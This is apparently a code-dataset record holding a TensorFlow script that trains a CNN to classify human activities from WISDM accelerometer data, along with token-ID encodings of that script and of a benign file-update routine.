29892,
16321,
15854,
19574,
5759,
29892,
437,
451,
3863,
29905,
29876,
29915,
718,
320,
13,
462,
632,
3770,
29894,
29918,
1272,
13,
13,
13,
1753,
269,
621,
520,
978,
29898,
28988,
1125,
13,
1678,
10823,
1982,
29889,
29879,
621,
520,
978,
29898,
28988,
29897,
13,
13,
13,
1753,
7408,
29918,
5325,
29898,
5504,
29918,
5325,
1125,
13,
1678,
13128,
29918,
2146,
600,
861,
353,
14210,
29881,
29889,
7050,
30022,
29915,
1273,
2897,
29889,
657,
5935,
580,
13,
13,
1678,
363,
934,
2084,
29892,
848,
297,
2767,
29918,
5325,
29889,
7076,
7295,
13,
4706,
565,
2897,
29889,
2084,
29889,
9933,
29898,
1445,
2084,
1125,
13,
9651,
396,
960,
278,
848,
338,
278,
1021,
29892,
14383,
372,
29892,
3078,
304,
437,
13,
9651,
565,
848,
1275,
1722,
29898,
1445,
2084,
467,
949,
7295,
13,
18884,
12183,
29889,
3888,
703,
2574,
3262,
1273,
29879,
313,
1217,
3620,
5513,
1273,
934,
2084,
29897,
13,
18884,
628,
2767,
29918,
5325,
29961,
1445,
2084,
29962,
13,
18884,
6773,
13,
13,
4706,
12183,
29889,
3888,
703,
303,
6751,
1273,
29879,
313,
29995,
29879,
5513,
1273,
313,
1445,
2084,
29892,
13128,
29918,
2146,
600,
861,
876,
13,
13,
4706,
13128,
29918,
1445,
353,
14210,
29879,
29889,
29995,
29879,
29915,
1273,
313,
1445,
2084,
29892,
13128,
29918,
2146,
600,
861,
29897,
13,
4706,
285,
353,
1722,
29898,
7050,
29918,
1445,
29892,
525,
29893,
1495,
13,
4706,
1018,
29901,
13,
9651,
285,
29889,
3539,
29898,
1272,
29897,
13,
9651,
285,
29889,
5358,
580,
13,
13,
9651,
2897,
29889,
305,
776,
29898,
7050,
29918,
1445,
29892,
29871,
29900,
29892,
29871,
29900,
29897,
13,
9651,
2897,
29889,
305,
1545,
29898,
7050,
29918,
1445,
29892,
29871,
29900,
29953,
29946,
29946,
29897,
13,
4706,
5174,
29901,
13,
9651,
2897,
29889,
348,
2324,
29898,
7050,
29918,
1445,
29897,
13,
9651,
12020,
13,
13,
13,
1753,
4337,
29918,
5325,
29898,
5504,
29918,
5325,
29892,
3349,
29918,
5325,
29922,
8516,
1125,
13,
1678,
565,
451,
3349,
29918,
5325,
29901,
13,
4706,
3349,
29918,
5325,
353,
731,
580,
13,
13,
1678,
13128,
29918,
2146,
600,
861,
353,
14210,
29881,
29889,
7050,
30022,
29915,
1273,
2897,
29889,
657,
5935,
580,
13,
1678,
289,
557,
29918,
2146,
600,
861,
353,
14210,
29881,
29889,
29890,
557,
30022,
29915,
1273,
931,
29889,
2230,
580,
13,
13,
1678,
363,
934,
2084,
297,
2767,
29918,
5325,
29889,
1524,
8149,
7295,
13,
4706,
565,
2897,
29889,
2084,
29889,
9933,
29898,
1445,
2084,
1125,
13,
9651,
396,
25249,
3517,
1873,
304,
263,
16199,
13,
9651,
12183,
29889,
3888,
703,
1627,
292,
701,
1273,
29879,
313,
29995,
29879,
5513,
1273,
313,
1445,
2084,
29892,
289,
557,
29918,
2146,
600,
861,
876,
13,
9651,
2897,
29889,
1267,
420,
29898,
1445,
2084,
29892,
14210,
29879,
29889,
29995,
29879,
29915,
1273,
313,
1445,
2084,
29892,
289,
557,
29918,
2146,
600,
861,
876,
13,
13,
4706,
12183,
29889,
3888,
703,
786,
26747,
1273,
29879,
29908,
1273,
934,
2084,
29897,
13,
4706,
1018,
29901,
13,
9651,
2897,
29889,
1267,
420,
877,
29995,
29879,
29889,
29995,
29879,
29915,
1273,
313,
1445,
2084,
29892,
13128,
29918,
2146,
600,
861,
511,
934,
2084,
29897,
13,
4706,
5174,
29901,
13,
9651,
396,
25249,
16199,
934,
1250,
577,
727,
29915,
29879,
777,
2656,
310,
5285,
13,
9651,
2897,
29889,
1267,
420,
877,
29995,
29879,
29889,
29995,
29879,
29915,
1273,
313,
1445,
2084,
29892,
289,
557,
29918,
2146,
600,
861,
511,
934,
2084,
29897,
13,
9651,
12020,
13,
13,
1678,
363,
934,
2084,
297,
3349,
29918,
5325,
29901,
13,
4706,
12183,
29889,
3888,
703,
13529,
292,
1273,
29879,
313,
29995,
29879,
5513,
1273,
313,
1445,
2084,
29892,
289,
557,
29918,
2146,
600,
861,
876,
13,
4706,
2897,
29889,
1267,
420,
29898,
1445,
2084,
29892,
14210,
29879,
29889,
29995,
29879,
29915,
1273,
313,
1445,
2084,
29892,
289,
557,
29918,
2146,
600,
861,
876,
13,
13,
13,
1753,
2767,
29918,
5325,
29898,
5504,
29918,
5325,
29892,
3349,
29918,
5325,
29922,
8516,
1125,
13,
1678,
7408,
29918,
5325,
29898,
5504,
29918,
5325,
29897,
13,
1678,
4337,
29918,
5325,
29898,
5504,
29918,
5325,
29892,
3349,
29918,
5325,
29897,
13,
2
] |
CNN_classify.py | chunnuanhuakai/chuanganqi_classify | 2 | 133868 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Jul 3 17:14:53 2019
@author: liuhongbing
"""
import pandas as pd
import numpy as np
from scipy import stats
from sklearn.metrics import precision_score, recall_score, f1_score, confusion_matrix, roc_curve, auc
import tensorflow as tf
# 加载数据集
def read_data(file_path):
column_names = ['user-id', 'activity', 'timestamp', 'x-axis', 'y-axis', 'z-axis']
data = pd.read_csv(file_path, header=None, names=column_names)
data['z-axis'] = dataset['z-axis'].apply(lambda x : str(x).split(";")[0])
data['z-axis'] = data['z-axis'].astype('float32')
return data
# 数据标准化
def feature_normalize(dataset):
mu = np.mean(dataset, axis=0)
print('mu:',mu)
sigma = np.std(dataset, axis=0)
print('sigma:',sigma)
return (dataset - mu) / sigma
# 创建时间窗口,90 × 50ms,也就是 4.5 秒,每次前进 45 条记录,半重叠的方式。
def windows(data, size):
start = 0
while start < data.count():
yield start, start + size
start += (size / 2)
# 创建输入数据,每一组数据包含 x, y, z 三个轴的 90 条连续记录,
# 用 `stats.mode` 方法获取这 90 条记录中出现次数最多的行为
# 作为该组行为的标签,这里有待商榷,其实可以完全使用同一种行为的数据记录
# 来创建一组数据用于输入的。
def segment_signal(data, window_size=90):
segments = np.empty((0, window_size, 3))
labels = np.empty((0))
print (len(data['timestamp']))
count = 0
for (start, end) in windows(data['timestamp'], window_size):
print (count)
start = int(start)
end = int(end)
count += 1
x = data["x-axis"][start:end]
y = data["y-axis"][start:end]
z = data["z-axis"][start:end]
if (len(dataset['timestamp'][start:end]) == window_size):
segments = np.vstack([segments, np.dstack([x, y, z])])
labels = np.append(labels, stats.mode(data["activity"][start:end])[0][0])
return segments, labels
# 初始化神经网络参数
def weight_variable(shape):
initial = tf.truncated_normal(shape, stddev=0.1)
return tf.Variable(initial)
# 初始化神经网络参数
def bias_variable(shape):
initial = tf.constant(0.0, shape=shape)
return tf.Variable(initial)
# 执行卷积操作
def depthwise_conv2d(x, W):
return tf.nn.depthwise_conv2d(x, W, [1, 1, 1, 1], padding='VALID')
# 为输入数据的每个 channel 执行一维卷积,并输出到 ReLU 激活函数
def apply_depthwise_conv(x, kernel_size, num_channels, depth):
weights = weight_variable([1, kernel_size, num_channels, depth])
biases = bias_variable([depth * num_channels])
return tf.nn.relu(tf.add(depthwise_conv2d(x, weights), biases))
# 在卷积层输出进行一维 max pooling
def apply_max_pool(x, kernel_size, stride_size):
return tf.nn.max_pool(x, ksize=[1, 1, kernel_size, 1],
strides=[1, 1, stride_size, 1], padding='VALID')
root = "/Users/liuhongbing/Documents/tensorflow/data/WISDM_ar_v1.1/"
dataset2 = read_data(root +'WISDM_ar_v1.1_raw.txt')
dataset2.fillna(0, inplace=True)
dataset = dataset2[:200000]
dataset['x-axis'] = feature_normalize(dataset['x-axis'])
dataset['y-axis'] = feature_normalize(dataset['y-axis'])
dataset['z-axis'] = feature_normalize(dataset['z-axis'])
segments, labels = segment_signal(dataset)
labels = np.asarray(pd.get_dummies(labels), dtype = np.int8)
# 创建输入
## [batch_size, height, width, chanles]
reshaped_segments = segments.reshape(len(segments), 1, 90, 3)
# 在准备好的输入数据中,分别抽取训练数据和测试数据,按照 70/30 原则来做。
train_test_split = np.random.rand(len(reshaped_segments)) < 0.70
train_x = reshaped_segments[train_test_split]
train_y = labels[train_test_split]
test_x = reshaped_segments[~train_test_split]
test_y = labels[~train_test_split]
# 定义输入数据的维度和标签个数
input_height = 1
input_width = 90
num_labels = 4 # 6
num_channels = 3
batch_size = 10
kernel_size = 60
depth = 60
# 隐藏层神经元个数
num_hidden = 1000
learning_rate = 0.0001
# 降低 cost 的迭代次数
training_epochs = 8
total_batchs = reshaped_segments.shape[0] // batch_size
# 下面是使用 Tensorflow 创建神经网络的过程。
X = tf.placeholder(tf.float32, shape=[None,input_height,input_width,num_channels])
Y = tf.placeholder(tf.float32, shape=[None,num_labels])
c = apply_depthwise_conv(X,kernel_size,num_channels,depth)
p = apply_max_pool(c,20,2)
c = apply_depthwise_conv(p,6,depth*num_channels,depth//10)
shape = c.get_shape().as_list()
c_flat = tf.reshape(c, [-1, shape[1] * shape[2] * shape[3]])
f_weights_l1 = weight_variable([shape[1] * shape[2] * depth * num_channels * (depth//10), num_hidden])
f_biases_l1 = bias_variable([num_hidden])
f = tf.nn.tanh(tf.add(tf.matmul(c_flat, f_weights_l1),f_biases_l1))
out_weights = weight_variable([num_hidden, num_labels])
out_biases = bias_variable([num_labels])
y_ = tf.nn.softmax(tf.matmul(f, out_weights) + out_biases)
loss = -tf.reduce_sum(Y * tf.log(y_))
optimizer = tf.train.GradientDescentOptimizer(learning_rate = learning_rate).minimize(loss)
correct_prediction = tf.equal(tf.argmax(y_,1), tf.argmax(Y,1))
accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))
cost_history = np.empty(shape=[1], dtype=float)
# 开始训练
with tf.Session() as session:
tf.initialize_all_variables().run()
# 开始迭代
for epoch in range(training_epochs):
for b in range(total_batchs):
offset = (b * batch_size) % (train_y.shape[0] - batch_size)
batch_x = train_x[offset:(offset + batch_size), :, :, :]
batch_y = train_y[offset:(offset + batch_size), :]
_, c = session.run([optimizer, loss], feed_dict={X: batch_x, Y: batch_y})
cost_history = np.append(cost_history, c)
print("Epoch {}: Training Loss = {}, Training Accuracy = {}".format(
epoch, c, session.run(accuracy, feed_dict={X: train_x, Y: train_y})))
y_p = tf.argmax(y_, 1)
y_true = np.argmax(test_y, 1)
final_acc, y_pred = session.run([accuracy, y_p], feed_dict={X: test_x, Y: test_y})
print("Testing Accuracy: {}".format(final_acc))
temp_y_true = np.unique(y_true)
temp_y_pred = np.unique(y_pred)
np.save("y_true", y_true)
np.save("y_pred", y_pred)
print("temp_y_true", temp_y_true)
print( "temp_y_pred", temp_y_pred)
# 计算模型的 metrics
print( "Precision", precision_score(y_true.tolist(), y_pred.tolist(), average='weighted'))
print( "Recall", recall_score(y_true, y_pred, average='weighted'))
print( "f1_score", f1_score(y_true, y_pred, average='weighted'))
print( "confusion_matrix")
print( confusion_matrix(y_true, y_pred)) | [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
15945,
29908,
13,
20399,
373,
15050,
2739,
259,
29941,
29871,
29896,
29955,
29901,
29896,
29946,
29901,
29945,
29941,
29871,
29906,
29900,
29896,
29929,
13,
13,
29992,
8921,
29901,
619,
16099,
549,
10549,
13,
15945,
29908,
13,
13,
5215,
11701,
408,
10518,
13,
5215,
12655,
408,
7442,
13,
3166,
4560,
2272,
1053,
22663,
13,
3166,
2071,
19668,
29889,
2527,
10817,
1053,
16716,
29918,
13628,
29892,
17386,
29918,
13628,
29892,
285,
29896,
29918,
13628,
29892,
14679,
29918,
5344,
29892,
696,
29883,
29918,
2764,
345,
29892,
20480,
13,
5215,
26110,
408,
15886,
13,
13,
29937,
29871,
30666,
31526,
30354,
30763,
30893,
13,
1753,
1303,
29918,
1272,
29898,
1445,
29918,
2084,
1125,
13,
1678,
1897,
29918,
7039,
353,
6024,
1792,
29899,
333,
742,
525,
10072,
742,
525,
16394,
742,
525,
29916,
29899,
8990,
742,
525,
29891,
29899,
8990,
742,
525,
29920,
29899,
8990,
2033,
13,
1678,
848,
353,
10518,
29889,
949,
29918,
7638,
29898,
1445,
29918,
2084,
29892,
4839,
29922,
8516,
29892,
2983,
29922,
4914,
29918,
7039,
29897,
13,
1678,
848,
1839,
29920,
29899,
8990,
2033,
353,
8783,
1839,
29920,
29899,
8990,
13359,
7302,
29898,
2892,
921,
584,
851,
29898,
29916,
467,
5451,
703,
29936,
1159,
29961,
29900,
2314,
13,
1678,
848,
1839,
29920,
29899,
8990,
2033,
353,
848,
1839,
29920,
29899,
8990,
13359,
579,
668,
877,
7411,
29941,
29906,
1495,
13,
13,
1678,
736,
848,
13,
13,
29937,
29871,
30354,
30763,
31062,
232,
138,
137,
30705,
13,
1753,
4682,
29918,
8945,
675,
29898,
24713,
1125,
13,
1678,
3887,
353,
7442,
29889,
12676,
29898,
24713,
29892,
9685,
29922,
29900,
29897,
13,
1678,
1596,
877,
2589,
29901,
742,
2589,
29897,
13,
1678,
269,
2934,
353,
7442,
29889,
4172,
29898,
24713,
29892,
9685,
29922,
29900,
29897,
13,
1678,
1596,
877,
3754,
29901,
742,
3754,
29897,
13,
1678,
736,
313,
24713,
448,
3887,
29897,
847,
269,
2934,
13,
13,
29937,
29871,
31441,
30886,
30594,
31016,
234,
173,
154,
30856,
30214,
29929,
29900,
13105,
29871,
29945,
29900,
1516,
30214,
30953,
31238,
30392,
29871,
29946,
29889,
29945,
29871,
234,
170,
149,
30214,
31951,
30936,
30658,
31174,
29871,
29946,
29945,
29871,
31217,
31410,
31283,
30214,
232,
144,
141,
30908,
232,
146,
163,
30210,
30525,
30607,
30267,
13,
1753,
5417,
29898,
1272,
29892,
2159,
1125,
13,
1678,
1369,
353,
29871,
29900,
13,
1678,
1550,
1369,
529,
848,
29889,
2798,
7295,
13,
4706,
7709,
1369,
29892,
1369,
718,
2159,
13,
4706,
1369,
4619,
313,
2311,
847,
29871,
29906,
29897,
13,
13,
29937,
29871,
31441,
30886,
31573,
30752,
30354,
30763,
30214,
31951,
30287,
31263,
30354,
30763,
31473,
232,
147,
174,
921,
29892,
343,
29892,
503,
29871,
30457,
30502,
235,
192,
183,
30210,
29871,
29929,
29900,
29871,
31217,
31903,
234,
190,
176,
31410,
31283,
30214,
13,
29937,
29871,
30406,
421,
16202,
29889,
8513,
29952,
29871,
30525,
30545,
31024,
30683,
30810,
29871,
29929,
29900,
29871,
31217,
31410,
31283,
30275,
30544,
31424,
30936,
30354,
30878,
30923,
30210,
30448,
30573,
13,
29937,
29871,
30732,
30573,
31751,
31263,
30448,
30573,
30210,
31062,
234,
176,
193,
30214,
30810,
30755,
30417,
232,
193,
136,
31427,
233,
169,
186,
30214,
31149,
31195,
30682,
30651,
31366,
30753,
30785,
30406,
30980,
30287,
31893,
30448,
30573,
30210,
30354,
30763,
31410,
31283,
13,
29937,
29871,
30805,
31441,
30886,
30287,
31263,
30354,
30763,
30406,
30909,
31573,
30752,
30210,
30267,
13,
308,
13,
13,
1753,
10768,
29918,
25436,
29898,
1272,
29892,
3474,
29918,
2311,
29922,
29929,
29900,
1125,
13,
1678,
24611,
353,
7442,
29889,
6310,
3552,
29900,
29892,
3474,
29918,
2311,
29892,
29871,
29941,
876,
13,
1678,
11073,
353,
7442,
29889,
6310,
3552,
29900,
876,
13,
1678,
1596,
313,
2435,
29898,
1272,
1839,
16394,
25901,
13,
1678,
2302,
353,
29871,
29900,
13,
1678,
363,
313,
2962,
29892,
1095,
29897,
297,
5417,
29898,
1272,
1839,
16394,
7464,
3474,
29918,
2311,
1125,
13,
4706,
1596,
313,
2798,
29897,
13,
4706,
1369,
353,
938,
29898,
2962,
29897,
13,
4706,
1095,
353,
938,
29898,
355,
29897,
13,
4706,
2302,
4619,
29871,
29896,
13,
4706,
921,
353,
848,
3366,
29916,
29899,
8990,
3108,
29961,
2962,
29901,
355,
29962,
13,
4706,
343,
353,
848,
3366,
29891,
29899,
8990,
3108,
29961,
2962,
29901,
355,
29962,
13,
4706,
503,
353,
848,
3366,
29920,
29899,
8990,
3108,
29961,
2962,
29901,
355,
29962,
13,
4706,
565,
313,
2435,
29898,
24713,
1839,
16394,
2033,
29961,
2962,
29901,
355,
2314,
1275,
3474,
29918,
2311,
1125,
13,
9651,
24611,
353,
7442,
29889,
29894,
1429,
4197,
10199,
1860,
29892,
7442,
29889,
29881,
1429,
4197,
29916,
29892,
343,
29892,
503,
2314,
2314,
13,
9651,
11073,
353,
7442,
29889,
4397,
29898,
21134,
29892,
22663,
29889,
8513,
29898,
1272,
3366,
10072,
3108,
29961,
2962,
29901,
355,
2314,
29961,
29900,
3816,
29900,
2314,
13,
1678,
736,
24611,
29892,
11073,
13,
13,
29937,
29871,
31120,
31020,
30705,
30648,
31412,
31222,
234,
190,
159,
31125,
30354,
13,
1753,
7688,
29918,
11918,
29898,
12181,
1125,
13,
1678,
2847,
353,
15886,
29889,
509,
4661,
630,
29918,
8945,
29898,
12181,
29892,
3659,
3359,
29922,
29900,
29889,
29896,
29897,
13,
1678,
736,
15886,
29889,
16174,
29898,
11228,
29897,
13,
13,
29937,
29871,
31120,
31020,
30705,
30648,
31412,
31222,
234,
190,
159,
31125,
30354,
13,
1753,
24003,
29918,
11918,
29898,
12181,
1125,
13,
1678,
2847,
353,
15886,
29889,
23362,
29898,
29900,
29889,
29900,
29892,
8267,
29922,
12181,
29897,
13,
1678,
736,
15886,
29889,
16174,
29898,
11228,
29897,
13,
13,
29937,
29871,
233,
140,
170,
30448,
232,
144,
186,
234,
170,
178,
31904,
30732,
13,
1753,
10809,
3538,
29918,
20580,
29906,
29881,
29898,
29916,
29892,
399,
1125,
13,
1678,
736,
15886,
29889,
15755,
29889,
19488,
3538,
29918,
20580,
29906,
29881,
29898,
29916,
29892,
399,
29892,
518,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
1402,
7164,
2433,
26707,
1495,
13,
13,
29937,
29871,
30573,
31573,
30752,
30354,
30763,
30210,
31951,
30502,
8242,
29871,
233,
140,
170,
30448,
30287,
234,
190,
183,
232,
144,
186,
234,
170,
178,
30214,
31666,
31573,
30544,
30780,
830,
29931,
29965,
29871,
233,
194,
131,
31704,
31629,
30354,
13,
1753,
3394,
29918,
19488,
3538,
29918,
20580,
29898,
29916,
29892,
8466,
29918,
2311,
29892,
954,
29918,
305,
12629,
29892,
10809,
1125,
13,
1678,
18177,
353,
7688,
29918,
11918,
4197,
29896,
29892,
8466,
29918,
2311,
29892,
954,
29918,
305,
12629,
29892,
10809,
2314,
13,
1678,
4768,
2129,
353,
24003,
29918,
11918,
4197,
19488,
334,
954,
29918,
305,
12629,
2314,
13,
1678,
736,
15886,
29889,
15755,
29889,
2674,
29884,
29898,
13264,
29889,
1202,
29898,
19488,
3538,
29918,
20580,
29906,
29881,
29898,
29916,
29892,
18177,
511,
4768,
2129,
876,
13,
13,
29937,
29871,
30505,
232,
144,
186,
234,
170,
178,
232,
180,
133,
31573,
30544,
31174,
30448,
30287,
234,
190,
183,
4236,
11565,
292,
13,
1753,
3394,
29918,
3317,
29918,
10109,
29898,
29916,
29892,
8466,
29918,
2311,
29892,
380,
2426,
29918,
2311,
1125,
13,
1678,
736,
15886,
29889,
15755,
29889,
3317,
29918,
10109,
29898,
29916,
29892,
413,
2311,
11759,
29896,
29892,
29871,
29896,
29892,
8466,
29918,
2311,
29892,
29871,
29896,
1402,
13,
462,
3986,
851,
2247,
11759,
29896,
29892,
29871,
29896,
29892,
380,
2426,
29918,
2311,
29892,
29871,
29896,
1402,
7164,
2433,
26707,
1495,
13,
13,
13,
4632,
353,
5591,
5959,
29914,
492,
16099,
549,
10549,
29914,
20128,
29914,
29056,
29914,
1272,
29914,
29956,
3235,
23560,
29918,
279,
29918,
29894,
29896,
29889,
29896,
12975,
13,
24713,
29906,
353,
1303,
29918,
1272,
29898,
4632,
718,
29915,
29956,
3235,
23560,
29918,
279,
29918,
29894,
29896,
29889,
29896,
29918,
1610,
29889,
3945,
1495,
13,
13,
24713,
29906,
29889,
5589,
1056,
29898,
29900,
29892,
297,
6689,
29922,
5574,
29897,
13,
13,
24713,
353,
8783,
29906,
7503,
29906,
29900,
29900,
29900,
29900,
29900,
29962,
13,
13,
24713,
1839,
29916,
29899,
8990,
2033,
353,
4682,
29918,
8945,
675,
29898,
24713,
1839,
29916,
29899,
8990,
11287,
13,
13,
24713,
1839,
29891,
29899,
8990,
2033,
353,
4682,
29918,
8945,
675,
29898,
24713,
1839,
29891,
29899,
8990,
11287,
13,
13,
24713,
1839,
29920,
29899,
8990,
2033,
353,
4682,
29918,
8945,
675,
29898,
24713,
1839,
29920,
29899,
8990,
11287,
13,
13,
13,
10199,
1860,
29892,
11073,
353,
10768,
29918,
25436,
29898,
24713,
29897,
13,
13,
13,
21134,
353,
7442,
29889,
294,
2378,
29898,
15926,
29889,
657,
29918,
29881,
23824,
583,
29898,
21134,
511,
26688,
353,
7442,
29889,
524,
29947,
29897,
13,
13,
29937,
29871,
31441,
30886,
31573,
30752,
13,
2277,
518,
16175,
29918,
2311,
29892,
3171,
29892,
2920,
29892,
521,
273,
793,
29962,
13,
13,
3781,
10501,
29918,
10199,
1860,
353,
24611,
29889,
690,
14443,
29898,
2435,
29898,
10199,
1860,
511,
29871,
29896,
29892,
29871,
29929,
29900,
29892,
29871,
29941,
29897,
13,
13,
13,
29937,
29871,
30505,
232,
138,
137,
232,
167,
138,
31076,
30210,
31573,
30752,
30354,
30763,
30275,
30214,
30748,
232,
139,
174,
233,
141,
192,
30683,
235,
177,
176,
234,
190,
134,
30354,
30763,
30503,
31851,
31787,
30354,
30763,
30214,
31590,
234,
136,
170,
29871,
29955,
29900,
29914,
29941,
29900,
29871,
30667,
31403,
30805,
232,
132,
157,
30267,
13,
14968,
29918,
1688,
29918,
5451,
353,
7442,
29889,
8172,
29889,
9502,
29898,
2435,
29898,
3781,
10501,
29918,
10199,
1860,
876,
529,
29871,
29900,
29889,
29955,
29900,
13,
13,
13,
14968,
29918,
29916,
353,
620,
29882,
10501,
29918,
10199,
1860,
29961,
14968,
29918,
1688,
29918,
5451,
29962,
13,
14968,
29918,
29891,
353,
11073,
29961,
14968,
29918,
1688,
29918,
5451,
29962,
13,
1688,
29918,
29916,
353,
620,
29882,
10501,
29918,
10199,
1860,
29961,
30022,
14968,
29918,
1688,
29918,
5451,
29962,
13,
1688,
29918,
29891,
353,
11073,
29961,
30022,
14968,
29918,
1688,
29918,
5451,
29962,
13,
13,
29937,
29871,
30495,
31349,
31573,
30752,
30354,
30763,
30210,
234,
190,
183,
30898,
30503,
31062,
234,
176,
193,
30502,
30354,
13,
2080,
29918,
3545,
353,
29871,
29896,
13,
2080,
29918,
2103,
353,
29871,
29929,
29900,
13,
1949,
29918,
21134,
353,
29871,
29946,
29871,
396,
29871,
29953,
13,
1949,
29918,
305,
12629,
353,
29871,
29941,
13,
13,
16175,
29918,
2311,
353,
29871,
29896,
29900,
13,
17460,
29918,
2311,
353,
29871,
29953,
29900,
13,
19488,
353,
29871,
29953,
29900,
13,
13,
29937,
29871,
236,
157,
147,
31707,
232,
180,
133,
30648,
31412,
30824,
30502,
30354,
13,
1949,
29918,
10892,
353,
29871,
29896,
29900,
29900,
29900,
13,
13,
21891,
29918,
10492,
353,
29871,
29900,
29889,
29900,
29900,
29900,
29896,
13,
13,
29937,
29871,
236,
156,
144,
231,
192,
145,
3438,
29871,
30210,
235,
194,
176,
30690,
30936,
30354,
13,
26495,
29918,
1022,
2878,
29879,
353,
29871,
29947,
13,
13,
7827,
29918,
16175,
29879,
353,
620,
29882,
10501,
29918,
10199,
1860,
29889,
12181,
29961,
29900,
29962,
849,
9853,
29918,
2311,
13,
13,
29937,
29871,
30557,
30806,
30392,
30785,
30406,
323,
6073,
1731,
29871,
31441,
30886,
30648,
31412,
31222,
234,
190,
159,
30210,
31138,
31101,
30267,
13,
29990,
353,
15886,
29889,
27074,
29898,
13264,
29889,
7411,
29941,
29906,
29892,
8267,
11759,
8516,
29892,
2080,
29918,
3545,
29892,
2080,
29918,
2103,
29892,
1949,
29918,
305,
12629,
2314,
13,
29979,
353,
15886,
29889,
27074,
29898,
13264,
29889,
7411,
29941,
29906,
29892,
8267,
11759,
8516,
29892,
1949,
29918,
21134,
2314,
13,
13,
29883,
353,
3394,
29918,
19488,
3538,
29918,
20580,
29898,
29990,
29892,
17460,
29918,
2311,
29892,
1949,
29918,
305,
12629,
29892,
19488,
29897,
13,
29886,
353,
3394,
29918,
3317,
29918,
10109,
29898,
29883,
29892,
29906,
29900,
29892,
29906,
29897,
13,
29883,
353,
3394,
29918,
19488,
3538,
29918,
20580,
29898,
29886,
29892,
29953,
29892,
19488,
29930,
1949,
29918,
305,
12629,
29892,
19488,
458,
29896,
29900,
29897,
13,
13,
12181,
353,
274,
29889,
657,
29918,
12181,
2141,
294,
29918,
1761,
580,
13,
29883,
29918,
20620,
353,
15886,
29889,
690,
14443,
29898,
29883,
29892,
21069,
29896,
29892,
8267,
29961,
29896,
29962,
334,
8267,
29961,
29906,
29962,
334,
8267,
29961,
29941,
24960,
13,
13,
29888,
29918,
705,
5861,
29918,
29880,
29896,
353,
7688,
29918,
11918,
4197,
12181,
29961,
29896,
29962,
334,
8267,
29961,
29906,
29962,
334,
10809,
334,
954,
29918,
305,
12629,
334,
313,
19488,
458,
29896,
29900,
511,
954,
29918,
10892,
2314,
13,
29888,
29918,
5365,
2129,
29918,
29880,
29896,
353,
24003,
29918,
11918,
4197,
1949,
29918,
10892,
2314,
13,
29888,
353,
15886,
29889,
15755,
29889,
13161,
29882,
29898,
13264,
29889,
1202,
29898,
13264,
29889,
2922,
16109,
29898,
29883,
29918,
20620,
29892,
285,
29918,
705,
5861,
29918,
29880,
29896,
511,
29888,
29918,
5365,
2129,
29918,
29880,
29896,
876,
13,
13,
449,
29918,
705,
5861,
353,
7688,
29918,
11918,
4197,
1949,
29918,
10892,
29892,
954,
29918,
21134,
2314,
13,
449,
29918,
5365,
2129,
353,
24003,
29918,
11918,
4197,
1949,
29918,
21134,
2314,
13,
29891,
29918,
353,
15886,
29889,
15755,
29889,
2695,
3317,
29898,
13264,
29889,
2922,
16109,
29898,
29888,
29892,
714,
29918,
705,
5861,
29897,
718,
714,
29918,
5365,
2129,
29897,
13,
13,
6758,
353,
448,
13264,
29889,
17469,
29918,
2083,
29898,
29979,
334,
15886,
29889,
1188,
29898,
29891,
29918,
876,
13,
20640,
3950,
353,
15886,
29889,
14968,
29889,
25584,
993,
4002,
1760,
20624,
326,
3950,
29898,
21891,
29918,
10492,
353,
6509,
29918,
10492,
467,
1195,
326,
675,
29898,
6758,
29897,
13,
13,
15728,
29918,
11965,
2463,
353,
15886,
29889,
11745,
29898,
13264,
29889,
1191,
3317,
29898,
29891,
3383,
29896,
511,
15886,
29889,
1191,
3317,
29898,
29979,
29892,
29896,
876,
13,
562,
2764,
4135,
353,
15886,
29889,
17469,
29918,
12676,
29898,
13264,
29889,
4384,
29898,
15728,
29918,
11965,
2463,
29892,
15886,
29889,
7411,
29941,
29906,
876,
13,
13,
18253,
29918,
18434,
353,
7442,
29889,
6310,
29898,
12181,
11759,
29896,
1402,
26688,
29922,
7411,
29897,
13,
13,
29937,
29871,
31026,
31020,
235,
177,
176,
234,
190,
134,
13,
2541,
15886,
29889,
7317,
580,
408,
4867,
29901,
13,
1678,
15886,
29889,
24926,
29918,
497,
29918,
20897,
2141,
3389,
580,
13,
1678,
396,
29871,
31026,
31020,
235,
194,
176,
30690,
13,
1678,
363,
21502,
305,
297,
3464,
29898,
26495,
29918,
1022,
2878,
29879,
1125,
13,
4706,
363,
289,
297,
3464,
29898,
7827,
29918,
16175,
29879,
1125,
13,
9651,
9210,
353,
313,
29890,
334,
9853,
29918,
2311,
29897,
1273,
313,
14968,
29918,
29891,
29889,
12181,
29961,
29900,
29962,
448,
9853,
29918,
2311,
29897,
13,
9651,
9853,
29918,
29916,
353,
7945,
29918,
29916,
29961,
10289,
5919,
10289,
718,
9853,
29918,
2311,
511,
584,
29892,
584,
29892,
584,
29962,
13,
9651,
9853,
29918,
29891,
353,
7945,
29918,
29891,
29961,
10289,
5919,
10289,
718,
9853,
29918,
2311,
511,
584,
29962,
13,
9651,
17117,
274,
353,
4867,
29889,
3389,
4197,
20640,
3950,
29892,
6410,
1402,
8343,
29918,
8977,
3790,
29990,
29901,
9853,
29918,
29916,
29892,
612,
29901,
9853,
29918,
29891,
1800,
13,
9651,
3438,
29918,
18434,
353,
7442,
29889,
4397,
29898,
18253,
29918,
18434,
29892,
274,
29897,
13,
4706,
1596,
703,
29923,
1129,
305,
426,
6177,
26101,
365,
2209,
353,
24335,
26101,
4831,
332,
4135,
353,
6571,
1642,
4830,
29898,
13,
9651,
21502,
305,
29892,
274,
29892,
4867,
29889,
3389,
29898,
562,
2764,
4135,
29892,
8343,
29918,
8977,
3790,
29990,
29901,
7945,
29918,
29916,
29892,
612,
29901,
7945,
29918,
29891,
29913,
4961,
13,
1678,
343,
29918,
29886,
353,
15886,
29889,
1191,
3317,
29898,
29891,
3383,
29871,
29896,
29897,
13,
1678,
343,
29918,
3009,
353,
7442,
29889,
1191,
3317,
29898,
1688,
29918,
29891,
29892,
29871,
29896,
29897,
13,
1678,
2186,
29918,
5753,
29892,
343,
29918,
11965,
353,
4867,
29889,
3389,
4197,
562,
2764,
4135,
29892,
343,
29918,
29886,
1402,
8343,
29918,
8977,
3790,
29990,
29901,
1243,
29918,
29916,
29892,
612,
29901,
1243,
29918,
29891,
1800,
13,
1678,
